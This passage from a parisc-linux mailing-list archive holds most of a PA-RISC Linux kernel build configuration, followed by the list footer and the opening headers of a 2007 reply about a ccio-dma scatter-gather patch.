# CONFIG_VT_HW_CONSOLE_BINDING is not set
# CONFIG_SERIAL_NONSTANDARD is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=16
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_FOURPORT=m
CONFIG_SERIAL_8250_ACCENT=m
CONFIG_SERIAL_8250_BOCA=m
# CONFIG_SERIAL_8250_EXAR_ST16C554 is not set
CONFIG_SERIAL_8250_HUB6=m
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
CONFIG_SERIAL_MUX=y
CONFIG_SERIAL_MUX_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_SERIAL_JSM=m
CONFIG_UNIX98_PTYS=y
# CONFIG_LEGACY_PTYS is not set
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set
# CONFIG_TIPAR is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
CONFIG_GEN_RTC=y
# CONFIG_GEN_RTC_X is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_I2C is not set

#
# SPI support
#
CONFIG_SPI=y
# CONFIG_SPI_DEBUG is not set
CONFIG_SPI_MASTER=y

#
# SPI Master Controller Drivers
#
CONFIG_SPI_BITBANG=m
CONFIG_SPI_BUTTERFLY=m
# CONFIG_SPI_LM70_LLP is not set

#
# SPI Protocol Masters
#
CONFIG_SPI_AT25=m
# CONFIG_SPI_SPIDEV is not set
# CONFIG_SPI_TLE62X0 is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
CONFIG_HWMON=y
CONFIG_HWMON_VID=m
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_IT87 is not set
CONFIG_SENSORS_LM70=m
# CONFIG_SENSORS_PC87360 is not set
CONFIG_SENSORS_PC87427=m
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_VIA686A is not set
CONFIG_SENSORS_VT1211=m
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_HWMON_DEBUG_CHIP is not set
# CONFIG_WATCHDOG is not set

#
# Sonics Silicon Backplane
#
CONFIG_SSB_POSSIBLE=y
CONFIG_SSB=m
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
# CONFIG_SSB_DEBUG is not set
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y

#
# Multifunction device drivers
#
# CONFIG_MFD_SM501 is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_DVB_CORE is not set
# CONFIG_DAB is not set

#
# Graphics support
#
# CONFIG_AGP is not set
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
CONFIG_FB=y
CONFIG_FIRMWARE_EDID=y
# CONFIG_FB_DDC is not set
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_SYS_FOPS is not set
CONFIG_FB_DEFERRED_IO=y
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
CONFIG_FB_MODE_HELPERS=y
# CONFIG_FB_TILEBLITTING is not set

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=y
# CONFIG_FB_UVESA is not set
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_VIRTUAL is not set
CONFIG_BACKLIGHT_LCD_SUPPORT=y
# CONFIG_LCD_CLASS_DEVICE is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=m
# CONFIG_BACKLIGHT_CORGI is not set

#
# Display device support
#
CONFIG_DISPLAY_SUPPORT=m

#
# Display hardware drivers
#

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_CLUT224=y
CONFIG_LOGO_PARISC_CLUT224=y

#
# Sound
#
CONFIG_SOUND=m

#
# Advanced Linux Sound Architecture
#
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
CONFIG_SND_HWDEP=m
CONFIG_SND_RAWMIDI=m
CONFIG_SND_SEQUENCER=m
# CONFIG_SND_SEQ_DUMMY is not set
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=m
CONFIG_SND_PCM_OSS=m
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_SEQUENCER_OSS=y
# CONFIG_SND_DYNAMIC_MINORS is not set
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set

#
# Generic devices
#
CONFIG_SND_MPU401_UART=m
CONFIG_SND_OPL3_LIB=m
CONFIG_SND_AC97_CODEC=m
CONFIG_SND_DUMMY=m
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
CONFIG_SND_MTS64=m
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set
CONFIG_SND_PORTMAN2X4=m

#
# PCI devices
#
CONFIG_SND_AD1889=m
CONFIG_SND_ALS300=m
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
CONFIG_SND_DARLA20=m
CONFIG_SND_GINA20=m
CONFIG_SND_LAYLA20=m
CONFIG_SND_DARLA24=m
CONFIG_SND_GINA24=m
CONFIG_SND_LAYLA24=m
CONFIG_SND_MONA=m
CONFIG_SND_MIA=m
CONFIG_SND_ECHO3G=m
CONFIG_SND_INDIGO=m
CONFIG_SND_INDIGOIO=m
CONFIG_SND_INDIGODJ=m
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
CONFIG_SND_HDSPM=m
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
CONFIG_SND_PCXHR=m
CONFIG_SND_RIPTIDE=m
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
CONFIG_SND_AC97_POWER_SAVE=y
CONFIG_SND_AC97_POWER_SAVE_DEFAULT=0

#
# SPI devices
#

#
# USB devices
#
# CONFIG_SND_USB_AUDIO is not set
# CONFIG_SND_USB_CAIAQ is not set

#
# GSC devices
#
# CONFIG_SND_HARMONY is not set

#
# System on Chip audio support
#
# CONFIG_SND_SOC is not set

#
# SoC Audio support for SuperH
#

#
# Open Sound System
#
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m
CONFIG_HID_SUPPORT=y
CONFIG_HID=m
# CONFIG_HID_DEBUG is not set
# CONFIG_HIDRAW is not set

#
# USB Input Devices
#
CONFIG_USB_HID=m
# CONFIG_USB_HIDINPUT_POWERBOOK is not set
# CONFIG_HID_FF is not set
CONFIG_USB_HIDDEV=y

#
# USB HID Boot Protocol drivers
#
CONFIG_USB_KBD=m
CONFIG_USB_MOUSE=m
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=m
CONFIG_USB_DEBUG=y

#
# Miscellaneous USB options
#
# CONFIG_USB_DEVICEFS is not set
CONFIG_USB_DEVICE_CLASS=y
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_OTG is not set

#
# USB Host Controller Drivers
#
CONFIG_USB_EHCI_HCD=m
# CONFIG_USB_EHCI_SPLIT_ISO is not set
# CONFIG_USB_EHCI_ROOT_HUB_TT is not set
# CONFIG_USB_EHCI_TT_NEWSCHED is not set
CONFIG_USB_ISP116X_HCD=m
CONFIG_USB_OHCI_HCD=m
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
# CONFIG_USB_UHCI_HCD is not set
CONFIG_USB_U132_HCD=m
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set

#
# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'
#

#
# may also be needed; see USB_STORAGE Help for more information
#
CONFIG_USB_STORAGE=m
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
CONFIG_USB_STORAGE_ALAUDA=y
CONFIG_USB_STORAGE_ONETOUCH=y
CONFIG_USB_STORAGE_KARMA=y
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set
CONFIG_USB_MON=y

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set

#
# USB Serial Converter support
#
CONFIG_USB_SERIAL=m
CONFIG_USB_SERIAL_GENERIC=y
CONFIG_USB_SERIAL_AIRCABLE=m
CONFIG_USB_SERIAL_AIRPRIME=m
CONFIG_USB_SERIAL_ARK3116=m
CONFIG_USB_SERIAL_BELKIN=m
# CONFIG_USB_SERIAL_CH341 is not set
# CONFIG_USB_SERIAL_WHITEHEAT is not set
CONFIG_USB_SERIAL_DIGI_ACCELEPORT=m
CONFIG_USB_SERIAL_CP2101=m
CONFIG_USB_SERIAL_CYPRESS_M8=m
CONFIG_USB_SERIAL_EMPEG=m
CONFIG_USB_SERIAL_FTDI_SIO=m
CONFIG_USB_SERIAL_FUNSOFT=m
CONFIG_USB_SERIAL_VISOR=m
CONFIG_USB_SERIAL_IPAQ=m
CONFIG_USB_SERIAL_IR=m
# CONFIG_USB_SERIAL_EDGEPORT is not set
# CONFIG_USB_SERIAL_EDGEPORT_TI is not set
CONFIG_USB_SERIAL_GARMIN=m
CONFIG_USB_SERIAL_IPW=m
CONFIG_USB_SERIAL_KEYSPAN_PDA=m
# CONFIG_USB_SERIAL_KEYSPAN is not set
CONFIG_USB_SERIAL_KLSI=m
CONFIG_USB_SERIAL_KOBIL_SCT=m
CONFIG_USB_SERIAL_MCT_U232=m
CONFIG_USB_SERIAL_MOS7720=m
CONFIG_USB_SERIAL_MOS7840=m
CONFIG_USB_SERIAL_NAVMAN=m
CONFIG_USB_SERIAL_PL2303=m
# CONFIG_USB_SERIAL_OTI6858 is not set
CONFIG_USB_SERIAL_HP4X=m
CONFIG_USB_SERIAL_SAFE=m
# CONFIG_USB_SERIAL_SAFE_PADDED is not set
CONFIG_USB_SERIAL_SIERRAWIRELESS=m
# CONFIG_USB_SERIAL_TI is not set
CONFIG_USB_SERIAL_CYBERJACK=m
CONFIG_USB_SERIAL_XIRCOM=m
CONFIG_USB_SERIAL_OPTION=m
CONFIG_USB_SERIAL_OMNINET=m
CONFIG_USB_SERIAL_DEBUG=m
CONFIG_USB_EZUSB=y

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
CONFIG_USB_ADUTUX=m
# CONFIG_USB_AUERSWALD is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
CONFIG_USB_BERRY_CHARGE=m
# CONFIG_USB_LED is not set
CONFIG_USB_CYPRESS_CY7C63=m
# CONFIG_USB_CYTHERM is not set
CONFIG_USB_PHIDGET=m
# CONFIG_USB_PHIDGETKIT is not set
CONFIG_USB_PHIDGETMOTORCONTROL=m
# CONFIG_USB_PHIDGETSERVO is not set
# CONFIG_USB_IDMOUSE is not set
CONFIG_USB_FTDI_ELAN=m
CONFIG_USB_APPLEDISPLAY=m
# CONFIG_USB_SISUSBVGA is not set
CONFIG_USB_LD=m
CONFIG_USB_TRANCEVIBRATOR=m
CONFIG_USB_IOWARRIOR=m

#
# USB DSL modem support
#

#
# USB Gadget Support
#
# CONFIG_USB_GADGET is not set
# CONFIG_MMC is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=m
CONFIG_RTC_CLASS=m

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#
CONFIG_RTC_DRV_RS5C348=m
CONFIG_RTC_DRV_MAX6902=m

#
# Platform RTC drivers
#
CONFIG_RTC_DRV_DS1553=m
# CONFIG_RTC_DRV_STK17TA8 is not set
CONFIG_RTC_DRV_DS1742=m
CONFIG_RTC_DRV_M48T86=m
# CONFIG_RTC_DRV_M48T59 is not set
CONFIG_RTC_DRV_V3020=m

#
# on-CPU RTC drivers
#
# CONFIG_AUXDISPLAY is not set

#
# Userspace I/O
#
# CONFIG_UIO is not set

#
# File systems
#
CONFIG_EXT2_FS=y
CONFIG_EXT2_FS_XATTR=y
CONFIG_EXT2_FS_POSIX_ACL=y
CONFIG_EXT2_FS_SECURITY=y
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=m
CONFIG_EXT3_FS_XATTR=y
CONFIG_EXT3_FS_POSIX_ACL=y
CONFIG_EXT3_FS_SECURITY=y
# CONFIG_EXT4DEV_FS is not set
CONFIG_JBD=m
# CONFIG_JBD_DEBUG is not set
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
CONFIG_FS_POSIX_ACL=y
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_OCFS2_FS is not set
# CONFIG_MINIX_FS is not set
CONFIG_ROMFS_FS=m
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_QUOTA=y
# CONFIG_QUOTA_NETLINK_INTERFACE is not set
CONFIG_PRINT_QUOTA_WARNING=y
CONFIG_QFMT_V1=m
CONFIG_QFMT_V2=m
CONFIG_QUOTACTL=y
CONFIG_DNOTIFY=y
CONFIG_AUTOFS_FS=m
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=m
CONFIG_GENERIC_ACL=y

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=m
CONFIG_UDF_NLS=y

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
CONFIG_NTFS_FS=m
# CONFIG_NTFS_DEBUG is not set
CONFIG_NTFS_RW=y

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=m

#
# Miscellaneous filesystems
#
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
CONFIG_ECRYPT_FS=m
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
CONFIG_CRAMFS=y
CONFIG_VXFS_FS=m
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
CONFIG_NFS_V4=y
CONFIG_NFS_DIRECTIO=y
# CONFIG_NFSD is not set
CONFIG_ROOT_NFS=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_NFS_ACL_SUPPORT=y
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=y
CONFIG_SUNRPC_GSS=y
CONFIG_SUNRPC_BIND34=y
CONFIG_RPCSEC_GSS_KRB5=y
CONFIG_RPCSEC_GSS_SPKM3=m
CONFIG_SMB_FS=m
CONFIG_SMB_NLS_DEFAULT=y
CONFIG_SMB_NLS_REMOTE="cp437"
CONFIG_CIFS=m
# CONFIG_CIFS_STATS is not set
# CONFIG_CIFS_WEAK_PW_HASH is not set
# CONFIG_CIFS_XATTR is not set
# CONFIG_CIFS_DEBUG2 is not set
# CONFIG_CIFS_EXPERIMENTAL is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
CONFIG_NLS_CODEPAGE_737=m
CONFIG_NLS_CODEPAGE_775=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
CONFIG_NLS_CODEPAGE_855=m
CONFIG_NLS_CODEPAGE_857=m
CONFIG_NLS_CODEPAGE_860=m
CONFIG_NLS_CODEPAGE_861=m
CONFIG_NLS_CODEPAGE_862=m
CONFIG_NLS_CODEPAGE_863=m
CONFIG_NLS_CODEPAGE_864=m
CONFIG_NLS_CODEPAGE_865=m
CONFIG_NLS_CODEPAGE_866=m
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=m
CONFIG_NLS_CODEPAGE_932=m
CONFIG_NLS_CODEPAGE_949=m
CONFIG_NLS_CODEPAGE_874=m
CONFIG_NLS_ISO8859_8=m
CONFIG_NLS_CODEPAGE_1250=m
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
CONFIG_NLS_ISO8859_2=m
CONFIG_NLS_ISO8859_3=m
CONFIG_NLS_ISO8859_4=m
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=m
CONFIG_NLS_ISO8859_7=m
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=m
CONFIG_NLS_ISO8859_14=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_KOI8_R=m
CONFIG_NLS_KOI8_U=m
CONFIG_NLS_UTF8=m
CONFIG_DLM=m
CONFIG_DLM_DEBUG=y
CONFIG_INSTRUMENTATION=y
CONFIG_PROFILING=y
CONFIG_OPROFILE=m
# CONFIG_MARKERS is not set

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_MAGIC_SYSRQ=y
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
# CONFIG_DETECT_SOFTLOCKUP is not set
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_SLAB is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_FORCED_INLINING is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RWLOCK is not set
# CONFIG_DEBUG_RODATA is not set

#
# Security options
#
CONFIG_KEYS=y
# CONFIG_KEYS_DEBUG_PROC_KEYS is not set
CONFIG_SECURITY=y
CONFIG_SECURITY_NETWORK=y
CONFIG_SECURITY_NETWORK_XFRM=y
CONFIG_SECURITY_CAPABILITIES=y
# CONFIG_SECURITY_FILE_CAPABILITIES is not set
CONFIG_SECURITY_SELINUX=y
CONFIG_SECURITY_SELINUX_BOOTPARAM=y
CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE=0
CONFIG_SECURITY_SELINUX_DISABLE=y
CONFIG_SECURITY_SELINUX_DEVELOP=y
CONFIG_SECURITY_SELINUX_AVC_STATS=y
CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1
# CONFIG_SECURITY_SELINUX_ENABLE_SECMARK_DEFAULT is not set
# CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set
CONFIG_XOR_BLOCKS=m
CONFIG_ASYNC_CORE=m
CONFIG_ASYNC_MEMCPY=m
CONFIG_ASYNC_XOR=m
CONFIG_CRYPTO=y
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_HMAC=y
CONFIG_CRYPTO_XCBC=m
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=y
CONFIG_CRYPTO_SHA1=m
CONFIG_CRYPTO_SHA256=m
CONFIG_CRYPTO_SHA512=m
CONFIG_CRYPTO_WP512=m
CONFIG_CRYPTO_TGR192=m
CONFIG_CRYPTO_GF128MUL=m
CONFIG_CRYPTO_ECB=m
CONFIG_CRYPTO_CBC=y
CONFIG_CRYPTO_PCBC=m
CONFIG_CRYPTO_LRW=m
# CONFIG_CRYPTO_XTS is not set
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_DES=y
CONFIG_CRYPTO_FCRYPT=m
CONFIG_CRYPTO_BLOWFISH=m
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=m
CONFIG_CRYPTO_SERPENT=m
CONFIG_CRYPTO_AES=m
CONFIG_CRYPTO_CAST5=m
CONFIG_CRYPTO_CAST6=m
CONFIG_CRYPTO_TEA=m
CONFIG_CRYPTO_ARC4=m
CONFIG_CRYPTO_KHAZAD=m
CONFIG_CRYPTO_ANUBIS=m
# CONFIG_CRYPTO_SEED is not set
CONFIG_CRYPTO_DEFLATE=m
CONFIG_CRYPTO_MICHAEL_MIC=m
CONFIG_CRYPTO_CRC32C=m
CONFIG_CRYPTO_CAMELLIA=m
CONFIG_CRYPTO_TEST=m
# CONFIG_CRYPTO_AUTHENC is not set
CONFIG_CRYPTO_HW=y

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=m
CONFIG_CRC_ITU_T=m
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=m
CONFIG_AUDIT_GENERIC=y
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=m
CONFIG_TEXTSEARCH_BM=m
CONFIG_TEXTSEARCH_FSM=m
CONFIG_PLIST=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y

--Boundary-00=_ee+SHyuwOrLPuSq
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_ee+SHyuwOrLPuSq--



From - Thu Nov 08 21:37:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Tue, 27 Nov 2007 13:48:32 +0100
Lines: 143
Approved: news@gmane.org
Message-ID: <JS60WW$8607DD1A85ED3939F455D3059DCDCF43@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624654 28614 80.91.229.3 (22 Nov 2014 02:50:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:54 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 19:11:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 20 Dec 2007 20:11:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B43A7F7BA;
	Thu, 20 Dec 2007 12:11:55 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
